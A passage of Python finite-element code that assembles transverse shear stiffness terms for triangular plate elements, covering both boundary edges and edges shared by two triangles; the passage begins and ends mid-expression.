c)))/(8*(Ae*Ae)) k0[i1*dof+2, i2*dof+4] += b*(-c*(E45*(b - d) - E55*(a - c)) + d*(E44*(b - d) - E45*(a - c)))/(8*(Ae*Ae)) k0[i1*dof+2, i3*dof+2] += (a*(E45*(b - d) - E55*(a - c)) - b*(E44*(b - d) - E45*(a - c)))/(4*(Ae*Ae)) k0[i1*dof+2, i3*dof+3] += c*(a*(E45*(b - d) - E55*(a - c)) - b*(E44*(b - d) - E45*(a - c)))/(8*(Ae*Ae)) k0[i1*dof+2, i3*dof+4] += d*(a*(E45*(b - d) - E55*(a - c)) - b*(E44*(b - d) - E45*(a - c)))/(8*(Ae*Ae)) k0[i1*dof+3, i1*dof+2] += (E44*(b - d) - E45*(a - c))/(4*Ae) k0[i1*dof+3, i1*dof+3] += E44/4 k0[i1*dof+3, i1*dof+4] += E45/4 k0[i1*dof+3, i2*dof+2] += (E44*d - E45*c)/(4*Ae) k0[i1*dof+3, i2*dof+3] += a*(E44*d - E45*c)/(8*Ae) k0[i1*dof+3, i2*dof+4] += b*(E44*d - E45*c)/(8*Ae) k0[i1*dof+3, i3*dof+2] += (-E44*b + E45*a)/(4*Ae) k0[i1*dof+3, i3*dof+3] += c*(-E44*b + E45*a)/(8*Ae) k0[i1*dof+3, i3*dof+4] += d*(-E44*b + E45*a)/(8*Ae) k0[i1*dof+4, i1*dof+2] += (E45*(b - d) - E55*(a - c))/(4*Ae) k0[i1*dof+4, i1*dof+3] += E45/4 k0[i1*dof+4, i1*dof+4] += E55/4 k0[i1*dof+4, i2*dof+2] += (E45*d - E55*c)/(4*Ae) k0[i1*dof+4, i2*dof+3] += a*(E45*d - E55*c)/(8*Ae) k0[i1*dof+4, i2*dof+4] += b*(E45*d - E55*c)/(8*Ae) k0[i1*dof+4, i3*dof+2] += (-E45*b + E55*a)/(4*Ae) k0[i1*dof+4, i3*dof+3] += c*(-E45*b + E55*a)/(8*Ae) k0[i1*dof+4, i3*dof+4] += d*(-E45*b + E55*a)/(8*Ae) k0[i2*dof+2, i1*dof+2] += (-(a - c)*(E45*d - E55*c) + (b - d)*(E44*d - E45*c))/(4*(Ae*Ae)) k0[i2*dof+2, i1*dof+3] += (E44*d - E45*c)/(4*Ae) k0[i2*dof+2, i1*dof+4] += (E45*d - E55*c)/(4*Ae) k0[i2*dof+2, i2*dof+2] += (-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(4*(Ae*Ae)) k0[i2*dof+2, i2*dof+3] += a*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+2, i2*dof+4] += b*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+2, i3*dof+2] += (a*(E45*d - E55*c) - b*(E44*d - E45*c))/(4*(Ae*Ae)) k0[i2*dof+2, i3*dof+3] += c*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+2, i3*dof+4] += d*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+3, i1*dof+2] += a*(-(a - c)*(E45*d - E55*c) + (b - d)*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+3, i1*dof+3] += a*(E44*d - E45*c)/(8*Ae) k0[i2*dof+3, i1*dof+4] += a*(E45*d - E55*c)/(8*Ae) k0[i2*dof+3, i2*dof+2] += a*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+3, i2*dof+3] += (a*a)*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i2*dof+3, i2*dof+4] += a*b*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i2*dof+3, i3*dof+2] += a*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+3, i3*dof+3] += a*c*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i2*dof+3, i3*dof+4] += a*d*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i2*dof+4, i1*dof+2] += b*(-(a - c)*(E45*d - E55*c) + (b - d)*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+4, i1*dof+3] += b*(E44*d - E45*c)/(8*Ae) k0[i2*dof+4, i1*dof+4] += b*(E45*d - E55*c)/(8*Ae) k0[i2*dof+4, i2*dof+2] += b*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+4, i2*dof+3] += a*b*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i2*dof+4, i2*dof+4] += (b*b)*(-c*(E45*d - E55*c) + d*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i2*dof+4, i3*dof+2] += b*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(8*(Ae*Ae)) k0[i2*dof+4, i3*dof+3] += b*c*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i2*dof+4, i3*dof+4] += b*d*(a*(E45*d - E55*c) - b*(E44*d - E45*c))/(16*(Ae*Ae)) k0[i3*dof+2, i1*dof+2] += ((a - c)*(E45*b - E55*a) - (b - d)*(E44*b - E45*a))/(4*(Ae*Ae)) k0[i3*dof+2, i1*dof+3] += (-E44*b + E45*a)/(4*Ae) k0[i3*dof+2, i1*dof+4] += (-E45*b + E55*a)/(4*Ae) k0[i3*dof+2, i2*dof+2] += (c*(E45*b - E55*a) - d*(E44*b - E45*a))/(4*(Ae*Ae)) k0[i3*dof+2, i2*dof+3] += a*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+2, i2*dof+4] += b*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+2, i3*dof+2] += (-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(4*(Ae*Ae)) k0[i3*dof+2, i3*dof+3] += c*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+2, i3*dof+4] += d*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+3, i1*dof+2] += c*((a - c)*(E45*b - E55*a) - (b - d)*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+3, i1*dof+3] += c*(-E44*b + E45*a)/(8*Ae) k0[i3*dof+3, i1*dof+4] += c*(-E45*b + E55*a)/(8*Ae) k0[i3*dof+3, i2*dof+2] += c*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+3, i2*dof+3] += a*c*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(16*(Ae*Ae)) k0[i3*dof+3, i2*dof+4] += b*c*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(16*(Ae*Ae)) k0[i3*dof+3, i3*dof+2] += c*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+3, i3*dof+3] += (c*c)*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(16*(Ae*Ae)) k0[i3*dof+3, i3*dof+4] += c*d*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(16*(Ae*Ae)) k0[i3*dof+4, i1*dof+2] += d*((a - c)*(E45*b - E55*a) - (b - d)*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+4, i1*dof+3] += d*(-E44*b + E45*a)/(8*Ae) k0[i3*dof+4, i1*dof+4] += d*(-E45*b + E55*a)/(8*Ae) k0[i3*dof+4, i2*dof+2] += d*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+4, i2*dof+3] += a*d*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(16*(Ae*Ae)) k0[i3*dof+4, i2*dof+4] += b*d*(c*(E45*b - E55*a) - d*(E44*b - E45*a))/(16*(Ae*Ae)) k0[i3*dof+4, i3*dof+2] += d*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(8*(Ae*Ae)) k0[i3*dof+4, i3*dof+3] += c*d*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(16*(Ae*Ae)) k0[i3*dof+4, i3*dof+4] += (d*d)*(-a*(E45*b - E55*a) + b*(E44*b - E45*a))/(16*(Ae*Ae)) else: k1 = k2 = 5/6 tria1 = edge.trias[0] tria2 = edge.trias[1] if not tria1.n1 in edge.nodes: other1 = tria1.n1 elif not tria1.n2 in edge.nodes: other1 = tria1.n2 elif not tria1.n3 in edge.nodes: other1 = tria1.n3 else: raise RuntimeError('Invalid connectivity tria-edge') if not tria2.n1 in edge.nodes: other2 = tria2.n1 elif not tria2.n2 in edge.nodes: other2 = tria2.n2 elif not tria2.n3 in edge.nodes: other2 = tria2.n3 else: raise RuntimeError('Invalid connectivity tria-edge') if np.dot(np.cross((n2 - n1).pos, (other1 - n1).pos), ZGLOBAL) > 0: t1n1, t1n2 = n1, n2 else: t1n1, t1n2 = n2, n1 x1, y1, z1 = t1n1.pos x2, y2, z2 = t1n2.pos x3, y3, z3 = other1.pos a1 = x2 - x1 b1 = y2 - y1 c1 = x3 - x1 d1 = y3 - y1 Ae1 = tria1.Ae tmp = [n1, n2, tria1.getMid()] Ac1 = area_of_polygon([n.pos[0] for n in tmp], [n.pos[1] for n in tmp]) if np.dot(np.cross((n2 - n1).pos, (other2 - n1).pos), ZGLOBAL) > 0: t2n1, t2n2 = n1, n2 else: t2n1, t2n2 = n2, n1 x1, y1, z1 = t2n1.pos x2, y2, z2 = t2n2.pos x3, y3, z3 = other2.pos a2 = x2 - x1 b2 = y2 - y1 c2 = x3 - x1 d2 = y3 - y1 Ae2 = tria2.Ae tmp = [n1, n2, tria2.getMid()] Ac2 = area_of_polygon([n.pos[0] for n in tmp], [n.pos[1] for n in tmp]) E = k1*Ac1/Ac*tria1.prop.E + k2*Ac2/Ac*tria2.prop.E E44 = E[0, 0] E45 = E[0, 1] E55 = E[1, 1] i1 = n1.index i2 = n2.index i3 = other1.index i4 = other2.index k0[i1*dof+2, i1*dof+2] += ((E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - (E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i1*dof+2, i1*dof+3] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+2, i1*dof+4] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+2, i2*dof+2] += ((E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - (E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i1*dof+2, i2*dof+3] += ((E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - (E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i1*dof+2, i2*dof+4] += ((E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - (E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i1*dof+2, i3*dof+2] += Ac1*(a1*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))) - b1*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))))/(4*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i1*dof+2, i3*dof+3] += Ac1*c1*(a1*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))) - b1*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i1*dof+2, i3*dof+4] += Ac1*d1*(a1*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))) - b1*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i1*dof+2, i4*dof+2] += Ac2*(a2*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))) - b2*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))))/(4*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i1*dof+2, i4*dof+3] += Ac2*c2*(a2*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))) - b2*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i1*dof+2, i4*dof+4] += Ac2*d2*(a2*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))) - b2*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2))))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i1*dof+3, i1*dof+2] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E45*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+3, i1*dof+3] += E44*(Ac1 + Ac2)**2/(4*(Ac*Ac)) k0[i1*dof+3, i1*dof+4] += E45*(Ac1 + Ac2)**2/(4*(Ac*Ac)) k0[i1*dof+3, i2*dof+2] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+3, i2*dof+3] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+3, i2*dof+4] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+3, i3*dof+2] += Ac1*(Ac1 + Ac2)*(-E44*b1 + E45*a1)/(4*(Ac*Ac)*Ae1) k0[i1*dof+3, i3*dof+3] += Ac1*c1*(Ac1 + Ac2)*(-E44*b1 + E45*a1)/(8*(Ac*Ac)*Ae1) k0[i1*dof+3, i3*dof+4] += Ac1*d1*(Ac1 + Ac2)*(-E44*b1 + E45*a1)/(8*(Ac*Ac)*Ae1) k0[i1*dof+3, i4*dof+2] += Ac2*(Ac1 + Ac2)*(-E44*b2 + E45*a2)/(4*(Ac*Ac)*Ae2) k0[i1*dof+3, i4*dof+3] += Ac2*c2*(Ac1 + Ac2)*(-E44*b2 + E45*a2)/(8*(Ac*Ac)*Ae2) k0[i1*dof+3, i4*dof+4] += Ac2*d2*(Ac1 + Ac2)*(-E44*b2 + E45*a2)/(8*(Ac*Ac)*Ae2) k0[i1*dof+4, i1*dof+2] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - E55*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+4, i1*dof+3] += E45*(Ac1 + Ac2)**2/(4*(Ac*Ac)) k0[i1*dof+4, i1*dof+4] += E55*(Ac1 + Ac2)**2/(4*(Ac*Ac)) k0[i1*dof+4, i2*dof+2] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+4, i2*dof+3] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+4, i2*dof+4] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i1*dof+4, i3*dof+2] += Ac1*(Ac1 + Ac2)*(-E45*b1 + E55*a1)/(4*(Ac*Ac)*Ae1) k0[i1*dof+4, i3*dof+3] += Ac1*c1*(Ac1 + Ac2)*(-E45*b1 + E55*a1)/(8*(Ac*Ac)*Ae1) k0[i1*dof+4, i3*dof+4] += Ac1*d1*(Ac1 + Ac2)*(-E45*b1 + E55*a1)/(8*(Ac*Ac)*Ae1) k0[i1*dof+4, i4*dof+2] += Ac2*(Ac1 + Ac2)*(-E45*b2 + E55*a2)/(4*(Ac*Ac)*Ae2) k0[i1*dof+4, i4*dof+3] += Ac2*c2*(Ac1 + Ac2)*(-E45*b2 + E55*a2)/(8*(Ac*Ac)*Ae2) k0[i1*dof+4, i4*dof+4] += Ac2*d2*(Ac1 + Ac2)*(-E45*b2 + E55*a2)/(8*(Ac*Ac)*Ae2) k0[i2*dof+2, i1*dof+2] += ((E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - (E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+2, i1*dof+3] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*Ae1*Ae2) k0[i2*dof+2, i1*dof+4] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*Ae1*Ae2) k0[i2*dof+2, i2*dof+2] += ((E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - (E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+2, i2*dof+3] += ((E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - (E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+2, i2*dof+4] += ((E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - (E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2))*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+2, i3*dof+2] += Ac1*(a1*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2)) - b1*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2)))/(4*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+2, i3*dof+3] += Ac1*c1*(a1*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2)) - b1*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+2, i3*dof+4] += Ac1*d1*(a1*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2)) - b1*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+2, i4*dof+2] += Ac2*(a2*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2)) - b2*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2)))/(4*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+2, i4*dof+3] += Ac2*c2*(a2*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2)) - b2*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2)))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+2, i4*dof+4] += Ac2*d2*(a2*(E45*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E55*(Ac1*Ae2*c1 + Ac2*Ae1*c2)) - b2*(E44*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - E45*(Ac1*Ae2*c1 + Ac2*Ae1*c2)))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+3, i1*dof+2] += ((E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - (E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+3, i1*dof+3] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i2*dof+3, i1*dof+4] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i2*dof+3, i2*dof+2] += ((E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - (E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+3, i2*dof+3] += ((E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - (E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+3, i2*dof+4] += ((E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - (E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+3, i3*dof+2] += Ac1*(a1*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)) - b1*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+3, i3*dof+3] += Ac1*c1*(a1*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)) - b1*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+3, i3*dof+4] += Ac1*d1*(a1*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)) - b1*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+3, i4*dof+2] += Ac2*(a2*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)) - b2*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+3, i4*dof+3] += 